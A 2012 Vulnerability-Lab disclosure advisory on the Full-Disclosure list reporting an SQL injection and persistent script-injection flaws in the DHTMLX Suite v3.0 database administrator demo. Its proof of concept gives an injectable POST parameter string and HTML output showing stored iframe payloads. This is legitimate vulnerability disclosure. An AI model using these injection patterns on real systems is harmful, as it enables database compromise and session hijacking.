Title:
======
DHTMLX Suite v.3.0 - Multiple Web Vulnerabilities

Date:
=====
2012-04-11


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=507


VL-ID:
=====
507


Introduction:
=============
To demonstrate the rich possibilities of DHTMLX controls and to show how they 
work within a 
common user interface, we’ve created some demo applications which are listed 
below. Using 
dhtmlxLayout, dhtmlxGrid, dhtmlxTree, and other dhtmlx components, you can very 
quickly 
create your own web applications with similar user interfaces.

Ajax Application Built with DHTMLX - Database Administrator
Database Administrator This application provides database management/navigation 
functionality 
and demonstrates simultaneous usage of the following DHTMLX components:

- dhtmlxLayout
- dhtmlxTree
- dhtmlxToolbar
- dhtmlxWindows
- dhtmlxGrid
- dhtmlxTabbar

(Copy of the Vendor Homepage: 
http://dhtmlx.com/docs/products/dhtmlxSuite/index.shtml )


Abstract:
=========
The Vulnerability Laboratory Team discovered multiple Vulnerabilities in the 
DHTMLX v.3.0 Professional|Standard Edition.


Report-Timeline:
================
2012-04-10:     Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
A remote SQL Injection vulnerability is detected in the DHTMLX v.3.0 
Professional|Standard Edition.
The vulnerability allows an attacker (remote) or local low privileged user 
account to inject/execute own sql commands 
on the affected application dbms. Successful exploitation of the vulnerability 
results in dbms & application compromise.
the vulnerability is located on the sql query module of the database 
administrator function which allows to inject via
POST request the database tables.


Vulnerable Module(s):
                                [+] SQL Query - Command Module


--- SQL Exception Logs ---
You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version from 
the right syntax to use near `1-` at line 1

Picture(s):
                                ../1.png


1.2
Multiple persistent input validation vulnerability are detected in the DHTMLX 
v.3.0 Professional|Standard Edition.
The bugs allow remote attackers to implement/inject malicious script code on 
the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking 
(manager/admin) or stable (persistent) 
context manipulation. Exploitation requires low user inter action.


Vulnerable Module(s):
                                [+] Register Form - Input Fields & Login 
Username Display
                                [+] Contacts Us - Send Input Fields & Admin 
output Display
                                [+] Add Groups Name - Control Panel


Picture(s):
                                ../2.png
                                ../3.png


Proof of Concept:
=================
1.1
The sql injection vulnerability ca be exploited by local privileged users of 
the application dbms.
For demonstration or reproduce ...

id=host%5E0%7Cdb%5EdhtmlxKING-LUI%7Ctable%5Edepartments&sql=-1'%0A[SQL-INJECTION]
[SQL-Query]



1.2
The persistent input validation vulnerabilities can be exploited by local low 
privileged user account with 
low required user inter action. For demonstration or reproduce ...


ADD URL: 
http://dhtmlx.com/docs/products/demoApps/dhtmlxDBAdmin/connection.html?etc=1333992780435

Vulnerable:  Input Servername & Username - Listing

<tbody><tr style="display: none;"><td class="hiddenRow"><div style="padding: 
0pt; margin: 0pt; width: 18px; height: 18px;">
</div></td><td style="display: none;" width="20px"><div style="width: 16px; 
height: 16px;"></div></td><td style="width: 18px;
" class="standartTreeImage"><div style="padding: 0pt; margin: 0pt; width: 18px; 
height: 18px;"></div></td><td style="width: 
100%; font-size: 10pt; cursor: pointer;" class="standartTreeRow" 
nowrap="nowrap"><span style="padding-left: 5px; padding-right: 
5px;" class="standartTreeRow"></span></td></tr><tr style=""><td> </td><td 
colspan="3"><table style="margin: 0pt; padding: 0pt;" 
border="0" cellpadding="0" cellspacing="0"><tbody><tr><td 
class="standartTreeImage"><img src="./imgs/tree/plus4.gif" style="
padding: 0pt; margin: 0pt; width: 18px; height: 18px;" align="absmiddle" 
border="0"></td><td style="display: none;" width="
20px"><img style="width: 16px; height: 16px;" 
src="./imgs/tree/iconUncheckAll.gif" align="absmiddle"></td><td style="" class=
"standartTreeImage"><img src="./imgs/tree/server.gif" style="padding: 0pt; 
margin: 0pt;" align="absmiddle" border="0"></td>
<td style="width: 100%; font-size: 10pt; cursor: pointer;" 
class="standartTreeRow" nowrap="nowrap"><span style="padding-left: 
5px; padding-right: 5px;" 
class="standartTreeRow">db2.dhtmlx.com</span></td></tr></tbody></table></td></tr><tr
 style=""><td> 
</td><td colspan="3"><table style="margin: 0pt; padding: 0pt;" border="0" 
cellpadding="0" cellspacing="0"><tbody><tr><td 
class="standartTreeImage"><img src="./imgs/tree/plus3.gif" style="padding: 0pt; 
margin: 0pt; width: 18px; height: 18px;" 
align="absmiddle" border="0"></td><td style="display: none;" width="20px"><img 
style="width: 16px; height: 16px;" src="./imgs/
tree/iconUncheckAll.gif" align="absmiddle"></td><td style="" 
class="standartTreeImage"><img src="./imgs/tree/server.gif" 
style="padding: 0pt; margin: 0pt;" align="absmiddle" border="0"></td><td 
style="width: 100%; font-size: 10pt; cursor: pointer;" 
class="standartTreeRow" nowrap="nowrap"><span style="padding-left: 5px; 
padding-right: 5px;" class="standartTreeRow">
ko</span></td></tr></tbody></table></td></tr><tr><td> </td><td 
colspan="3"><table style="margin: 0pt; 
padding: 0pt;" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td 
class="standartTreeImage"><img src="./imgs/tree/
minus3.gif" style="padding: 0pt; margin: 0pt; width: 18px; height: 18px;" 
align="absmiddle" border="0"></td><td style="display: 
none;" width="20px"><img style="width: 16px; height: 16px;" 
src="./imgs/tree/iconUncheckAll.gif" align="absmiddle"></td>
<td style="" class="standartTreeImage"><img src="./imgs/tree/server.gif" 
style="padding: 0pt; margin: 0pt;" align="absmiddle" 
border="0"></td><td style="width: 100%; font-size: 10pt; cursor: pointer;" 
class="standartTreeRow" nowrap="nowrap"><span style="
padding-left: 5px; padding-right: 5px;" class="selectedTreeRow">>"<iframe 
src="http://google.com";></iframe></span></td></tr>
<tr style="">&#8203;&#8203;&#8203;&#8203;&#8203;<td style="background-image: 
url("./imgs/tree/line1.gif"); background-repeat: 
repeat-y;"> </td>
<td colspan="3"><table style="margin: 0pt; padding: 0pt;" border="0" 
cellpadding="0" cellspacing="0"><tbody><tr><td class="
standartTreeImage"><img src="./imgs/tree/line2.gif" style="padding: 0pt; 
margin: 0pt; width: 18px; height: 18px;" align="
absmiddle" border="0"></td><td style="display: none;" width="20px"><img 
style="width: 16px; height: 16px;" src=".
/imgs/tree/iconUncheckAll.gif" align="absmiddle"></td><td style="" 
class="standartTreeImage"><img src="./imgs/tree/leaf.gif" 
style="padding: 0pt; margin: 0pt;" align="absmiddle" border="0"></td><td 
style="width: 100%; font-size: 10pt; cursor: pointer;" 
class="standartTreeRow" nowrap="nowrap"><span style="padding-left: 5px; 
padding-right: 5px; color: red;" class="standartTreeRow">
Connection 
error</span></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td>
 </td><td colspan="3"><table 
style="margin: 0pt; padding: 0pt;" border="0" cellpadding="0" 
cellspacing="0"><tbody><tr><td class="standartTreeImage">
<img src="./imgs/tree/plus2.gif" style="padding: 0pt; margin: 0pt; width: 18px; 
height: 18px;" align="absmiddle" border="0">
</td><td style="display: none;" width="20px"><img style="width: 16px; height: 
16px;" src="./imgs/tree/iconUncheckAll.gif" 
align="absmiddle"></td><td style="" class="standartTreeImage"><img 
src="./imgs/tree/server.gif" style="padding: 0pt; margin: 
0pt;" align="absmiddle" border="0">&#8203;&#8203;&#8203;&#8203;&#8203;
</td><td style="width: 100%; font-size: 10pt; cursor: 
pointer;" class="standartTreeRow" 
nowrap="nowrap"><span style="padding-left: 5px; padding-right: 5px;" 
class="standartTreeRow">
<iframe 
src="http://www.vulnerability-lab.com";></iframe></span></td></tr></tbody></table></td></tr></tbody>


Risk:
=====
1.1
The security risk of the sql injection vulnerability via POST is estimated as 
high(-).

1.2
The security risk of the persistent input validation vulnerabilities are 
estimated as medium(+).


Credits:
========
Vulnerability Research Laboratory   -    Benjamin Kunz Mejri (Rem0ve)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and 
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, 
indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have 
been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential 
or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, 
of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified 
form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                                                Copyright © 2012 
Vulnerability-Lab




-- 
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: resea...@vulnerability-lab.com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Reply via email to